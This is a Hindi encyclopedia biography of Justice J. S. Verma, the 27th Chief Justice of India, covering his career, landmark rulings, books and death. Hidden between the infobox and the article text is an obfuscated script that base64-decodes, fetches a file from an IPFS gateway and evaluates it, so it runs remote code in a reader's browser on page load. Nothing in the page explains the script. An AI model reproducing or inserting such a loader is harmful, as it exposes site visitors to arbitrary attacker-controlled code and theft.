जगदीश शरण वर्मा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
जगदीश शरण वर्मा
जे. एस. वर्मा
पूरा नाम जगदीश शरण वर्मा
जन्म 18 जनवरी, 1933
जन्म भूमि सतना, मध्य प्रदेश
मृत्यु 22 अप्रॅल, 2013
मृत्यु स्थान गुरु ग्राम, हरियाणा
पति/पत्नी पुष्पा
संतान 2
नागरिकता भारतीय
प्रसिद्धि न्यायाधीश
पद अध्यक्ष, राष्ट्रीय मानवाधिकार आयोग- 4 नवंबर, 1999 से 17 जनवरी, 2003 तक

27वें मुख्य न्यायाधीश, भारत- 25 मार्च, 1997 से 17 जनवरी, 1998 तक
न्यायाधीश, सर्वोच्च न्यायालय, भारत- जून, 1989 से 24 मार्च, 1997 तक
मुख्य न्यायाधीश, राजस्थान उच्च न्यायालय- सितंबर, 1986 से जून, 1989 तक
मुख्य न्यायाधीश, मध्य प्रदेश उच्च न्यायालय- जून, 1985 से सितंबर, 1986

विद्यालय इलाहाबाद विश्वविद्यालय
संबंधित लेख भारत के मुख्य न्यायाधीश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>जगदीश शरण वर्मा (अंग्रेज़ी: Jagdish Sharan Verma, जन्म- 18 जनवरी, 1933; मृत्यु- 22 अप्रॅल, 2013) भारत के 27वें मुख्य न्यायाधीश थे। वह 25 मार्च, 1997 से 17 जनवरी, 1998 तक मुख्य न्यायाधीश के पद पर रहे। जे. एस. वर्मा 1999 से 2003 तक राष्ट्रीय मानवाधिकार आयोग के अध्यक्ष थे। वह भारत के सबसे उच्च सम्मानित मुख्य न्यायाधीशों और प्रख्यात न्यायविदों में से एक थे। उन्हें ऐतिहासिक निर्णयों के माध्यम से उनके न्यायिक नवाचार के लिए जाना जाता है, जिसने उन्हें भारत में 'न्यायिक सक्रियता का चेहरा' बना दिया था।

परिचय

  • जे. एस. वर्मा उस समय चर्चा में आए थे, जब केंद्र ने 16 दिसंबर की घटना के बाद दुष्कर्म के खिलाफ कानून के लिए उनकी अध्यक्षता में एक कमेटी बनाई। महज 29 दिनों में उन्होंने कई सख्त कानूनों की सिफारिशों के साथ रिपोर्ट सौंप दी थी।
  • वे न्यूज ब्रॉडकास्टिंग स्टैंडर्ड अथॉरिटी ऑफ इंडिया के चेयरमैन भी थे।
  • जस्टिस जे. एस. वर्मा की स्कूली शिक्षा मध्य प्रदेश के सतना में हुई थी।
  • सन 1955 में रीवा में विंध्यप्रद्रेश ज्यूडिशयल कमिश्नर कोर्ट से काम शुरू किया।
  • उन्हें 12 सितंबर, 1973 को मध्य प्रदेश हाईकोर्ट में ही एडिशन जज बनाया गया।
  • सन 1985 में मध्य प्रदेश हाईकोर्ट के वह चीफ जस्टिस बने।
  • 1997 में जे. एस. वर्मा को सुप्रीम कोर्ट का चीफ जस्टिस बनाया गया। वहां से 17 जनवरी, 1998 को वे सेवानिवृत्त हो गए।

बड़े फैसले

  1. ऐतिहासिक विशाखा फैसला। इसी के बाद सरकार ने कार्यस्थल पर महिला सुरक्षा दिशा-निर्देश तय किए।
  2. 1994 में एसआर बोमई मामले में राष्ट्रपति के विधानसभा भंग करने के अधिकार को परिभाषित किया।
  3. आर्म्स एक्ट के तहत 1997 में अभिनेता संजय दत्त के खिलाफ फैसला सुनाया।
  4. 1996 में निलावती बेहरा की चिट्टी को पीआईएल मानते हुए फैसला सुनाया।
  5. 1994 में जमाते इस्लामी को गैरकानूनी घोषित करने के सरकार के फैसले को खारिज कर दिया।

पुस्तक

जे. एस. वर्मा की पुस्तक 'न्यू डाइमेन्शंस ऑफ़ जस्टिस' तथा 'द न्यू यूनिवर्स ऑफ़ ह्यूमन राइट्स' ने व्यक्ति को 'जस्टिस डिलीवरी सिस्टम'[1] को बेहतर ढंग से समझने और समाज में मानव अधिकारों के महत्त्व को सराहने में सक्षम बनाया है।

मृत्यु

उच्चतम न्यायालय के मुख्य न्यायाधीश रहे जे. एस. वर्मा का निधन 22 अप्रॅल, 2013 को गुरु ग्राम, हरियाणा के मेदांता अस्पताल में हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. न्याय-प्रणाली

संबंधित लेख